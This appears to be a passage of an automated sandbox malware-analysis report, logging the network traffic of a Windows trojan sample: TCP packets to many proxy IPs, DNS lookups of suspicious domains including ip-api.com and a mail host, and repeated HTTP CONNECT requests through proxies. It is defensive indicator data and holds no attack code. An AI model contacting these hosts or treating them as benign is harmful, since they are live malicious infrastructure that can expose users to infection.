Feb 23, 2024 14:28:23.788523912 CET	50704	17719	192.168.2.8	67.43.227.228
Feb 23, 2024 14:28:23.788548946 CET	50997	80	192.168.2.8	172.67.181.37
Feb 23, 2024 14:28:23.788554907 CET	50474	45685	192.168.2.8	36.66.173.145
Feb 23, 2024 14:28:23.788559914 CET	50288	80	192.168.2.8	49.7.11.187
Feb 23, 2024 14:28:23.788559914 CET	50298	52359	192.168.2.8	188.164.196.31
Feb 23, 2024 14:28:23.788562059 CET	50608	4145	192.168.2.8	142.54.226.214
Feb 23, 2024 14:28:23.788626909 CET	50304	17158	192.168.2.8	92.205.110.47
Feb 23, 2024 14:28:23.788626909 CET	50652	45203	192.168.2.8	192.169.213.167
Feb 23, 2024 14:28:23.789051056 CET	1475	51068	72.10.160.173	192.168.2.8
Feb 23, 2024 14:28:23.789767027 CET	3283	50600	72.10.160.173	192.168.2.8
Feb 23, 2024 14:28:23.790980101 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.790988922 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.791382074 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.793004036 CET	80	50512	50.222.245.47	192.168.2.8
Feb 23, 2024 14:28:23.793471098 CET	1088	50434	46.227.37.1	192.168.2.8
Feb 23, 2024 14:28:23.794640064 CET	51167	49945	207.180.236.140	192.168.2.8
Feb 23, 2024 14:28:23.797218084 CET	51089	11946	192.168.2.8	91.134.140.160
Feb 23, 2024 14:28:23.797408104 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.797446966 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.797635078 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.797637939 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.797744989 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.797790051 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.797833920 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.797836065 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.797940016 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.797991991 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.798110008 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.798136950 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.798206091 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.798424959 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.798667908 CET	48915	50321	138.201.21.232	192.168.2.8
Feb 23, 2024 14:28:23.798826933 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.798875093 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.798913002 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.798973083 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.799002886 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.799026966 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.799057007 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.799062014 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.799297094 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.799928904 CET	80	50592	50.174.145.9	192.168.2.8
Feb 23, 2024 14:28:23.800561905 CET	51090	3128	192.168.2.8	111.68.31.130
Feb 23, 2024 14:28:23.800607920 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.800632000 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.800657988 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.800723076 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.800730944 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.800745010 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.800751925 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.800815105 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.801363945 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.801388025 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.801418066 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.801460028 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.801489115 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.801516056 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.801525116 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.801537991 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.801573992 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.801573992 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.801589966 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.801978111 CET	80	50613	85.12.214.148	192.168.2.8
Feb 23, 2024 14:28:23.802149057 CET	80	50613	85.12.214.148	192.168.2.8
Feb 23, 2024 14:28:23.802270889 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.802392960 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.802433014 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.802494049 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.802643061 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.802691936 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.802773952 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.803016901 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.803025007 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.803177118 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.804007053 CET	80	50954	85.12.214.148	192.168.2.8
Feb 23, 2024 14:28:23.804104090 CET	51091	3128	192.168.2.8	139.99.148.90
Feb 23, 2024 14:28:23.804104090 CET	50313	55850	192.168.2.8	193.31.119.180
Feb 23, 2024 14:28:23.804106951 CET	50237	32175	192.168.2.8	67.43.236.19
Feb 23, 2024 14:28:23.804151058 CET	50314	999	192.168.2.8	181.204.27.74
Feb 23, 2024 14:28:23.804155111 CET	50711	80	192.168.2.8	50.169.23.170
Feb 23, 2024 14:28:23.804227114 CET	50954	80	192.168.2.8	85.12.214.148
Feb 23, 2024 14:28:23.804327011 CET	8080	50981	195.225.142.169	192.168.2.8
Feb 23, 2024 14:28:23.804480076 CET	50954	80	192.168.2.8	85.12.214.148
Feb 23, 2024 14:28:23.804527044 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.804543972 CET	50981	8080	192.168.2.8	195.225.142.169
Feb 23, 2024 14:28:23.804548979 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.804604053 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.804611921 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.804691076 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.804692030 CET	50981	8080	192.168.2.8	195.225.142.169
Feb 23, 2024 14:28:23.804804087 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.804847002 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.804979086 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.805001974 CET	9764	51013	162.243.102.207	192.168.2.8
Feb 23, 2024 14:28:23.805084944 CET	8081	50868	193.239.58.92	192.168.2.8
Feb 23, 2024 14:28:23.805198908 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.805238962 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.805244923 CET	8081	50868	193.239.58.92	192.168.2.8
Feb 23, 2024 14:28:23.805398941 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.805413961 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.805484056 CET	10293	50511	75.119.145.169	192.168.2.8
Feb 23, 2024 14:28:23.805514097 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.805561066 CET	9764	51013	162.243.102.207	192.168.2.8
Feb 23, 2024 14:28:23.805845976 CET	5385	50611	72.10.160.170	192.168.2.8
Feb 23, 2024 14:28:23.805932045 CET	7249	50612	72.10.160.90	192.168.2.8
Feb 23, 2024 14:28:23.806380987 CET	51093	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:23.806380987 CET	51092	9764	192.168.2.8	162.243.102.207
Feb 23, 2024 14:28:23.809650898 CET	4145	50902	98.188.47.132	192.168.2.8
Feb 23, 2024 14:28:23.809705973 CET	4145	50902	98.188.47.132	192.168.2.8
Feb 23, 2024 14:28:23.811044931 CET	8080	50875	185.38.111.1	192.168.2.8
Feb 23, 2024 14:28:23.811079025 CET	8080	50875	185.38.111.1	192.168.2.8
Feb 23, 2024 14:28:23.811410904 CET	51094	4145	192.168.2.8	98.188.47.132
Feb 23, 2024 14:28:23.811707020 CET	50875	8080	192.168.2.8	185.38.111.1
Feb 23, 2024 14:28:23.811800957 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.811836958 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.811877012 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.811933041 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.811966896 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.811990976 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812025070 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.812046051 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812325001 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.812390089 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812427998 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812447071 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812467098 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812500000 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.812545061 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.812558889 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812583923 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812606096 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812690973 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812700033 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.812710047 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812762976 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812794924 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812796116 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.812848091 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812856913 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812875986 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.812886000 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812906027 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812936068 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.812959909 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.812995911 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.813066959 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813087940 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813113928 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.813146114 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813169003 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813179970 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.813209057 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813251019 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.813267946 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813304901 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813313961 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813338995 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813381910 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.813388109 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813396931 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813456059 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.813529968 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813643932 CET	51095	53728	192.168.2.8	145.239.2.102
Feb 23, 2024 14:28:23.813719988 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.813740969 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813749075 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813756943 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813815117 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813822985 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813836098 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813847065 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.813864946 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.813936949 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.813949108 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.813986063 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814057112 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814085007 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.814133883 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814141035 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814147949 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814188004 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814207077 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814232111 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.814249992 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814270020 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814297915 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814306974 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.814346075 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814347029 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.814356089 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814379930 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814418077 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814425945 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814445972 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.814579010 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814591885 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814604044 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814611912 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.814668894 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814677954 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814712048 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.814724922 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.814733982 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814743042 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814755917 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.814766884 CET	50722	80	192.168.2.8	50.217.226.41
Feb 23, 2024 14:28:23.814779997 CET	50005	80	192.168.2.8	50.239.72.18
Feb 23, 2024 14:28:23.814814091 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.814816952 CET	50598	80	192.168.2.8	50.200.12.80
Feb 23, 2024 14:28:23.815129995 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815180063 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815238953 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815253973 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815259933 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.815332890 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815351009 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.815429926 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815500975 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815502882 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.815555096 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815568924 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815588951 CET	51096	5678	192.168.2.8	42.112.209.68
Feb 23, 2024 14:28:23.815637112 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.815725088 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815790892 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815798044 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815813065 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815825939 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815833092 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815848112 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.815849066 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.815855980 CET	80	51023	104.19.233.117	192.168.2.8
Feb 23, 2024 14:28:23.815885067 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.815893888 CET	80	51023	104.19.233.117	192.168.2.8
Feb 23, 2024 14:28:23.815938950 CET	9180	51035	94.23.252.168	192.168.2.8
Feb 23, 2024 14:28:23.815989017 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.816025019 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.816036940 CET	51035	9180	192.168.2.8	94.23.252.168
Feb 23, 2024 14:28:23.816080093 CET	4228	50048	5.161.219.13	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 23, 2024 14:28:20.564595938 CET	192.168.2.8	1.1.1.1	0x9809	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 14:28:25.334287882 CET	192.168.2.8	1.1.1.1	0xfbd8	Standard query (0)	heygirlisheeverythingyouwantedinaman.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 14:28:28.750432014 CET	192.168.2.8	1.1.1.1	0xbe0c	Standard query (0)	repository.gij.edu.gh	A (IP address)	IN (0x0001)	false
Feb 23, 2024 14:28:39.544001102 CET	192.168.2.8	1.1.1.1	0x2d91	Standard query (0)	ktxcomay.com.vn	A (IP address)	IN (0x0001)	false
Feb 23, 2024 14:28:47.697627068 CET	192.168.2.8	1.1.1.1	0x7217	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 14:28:48.872318983 CET	192.168.2.8	1.1.1.1	0x7d7a	Standard query (0)	mail.supplyvan.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 23, 2024 14:28:20.652656078 CET	1.1.1.1	192.168.2.8	0x9809	No error (0)	github.com	140.82.113.4	A (IP address)	IN (0x0001)	false
Feb 23, 2024 14:28:23.536412001 CET	1.1.1.1	192.168.2.8	0x19af	No error (0)	windowsupdatebg.s.llnwi.net	69.164.46.0	A (IP address)	IN (0x0001)	false
Feb 23, 2024 14:28:23.536412001 CET	1.1.1.1	192.168.2.8	0x19af	No error (0)	windowsupdatebg.s.llnwi.net	69.164.46.128	A (IP address)	IN (0x0001)	false
Feb 23, 2024 14:28:25.547471046 CET	1.1.1.1	192.168.2.8	0xfbd8	No error (0)	heygirlisheeverythingyouwantedinaman.com	172.67.190.93	A (IP address)	IN (0x0001)	false
Feb 23, 2024 14:28:25.547471046 CET	1.1.1.1	192.168.2.8	0xfbd8	No error (0)	heygirlisheeverythingyouwantedinaman.com	104.21.57.121	A (IP address)	IN (0x0001)	false
Feb 23, 2024 14:28:29.154045105 CET	1.1.1.1	192.168.2.8	0xbe0c	No error (0)	repository.gij.edu.gh	102.223.20.217	A (IP address)	IN (0x0001)	false
Feb 23, 2024 14:28:40.447200060 CET	1.1.1.1	192.168.2.8	0x2d91	No error (0)	ktxcomay.com.vn	222.255.238.159	A (IP address)	IN (0x0001)	false
Feb 23, 2024 14:28:47.786770105 CET	1.1.1.1	192.168.2.8	0x7217	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 23, 2024 14:28:49.267534971 CET	1.1.1.1	192.168.2.8	0x7d7a	No error (0)	mail.supplyvan.xyz	199.188.206.65	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49748	104.45.128.122	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.003993034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.304085970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.616609097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.225970030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.429121971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.683496952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882740974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382556915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.195076942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49767	172.67.181.11	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.023421049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.111267090 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49724	94.40.127.166	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.048996925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49772	153.92.214.224	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.051369905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.397907972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.757210970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.475996971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.913480997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.382802010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
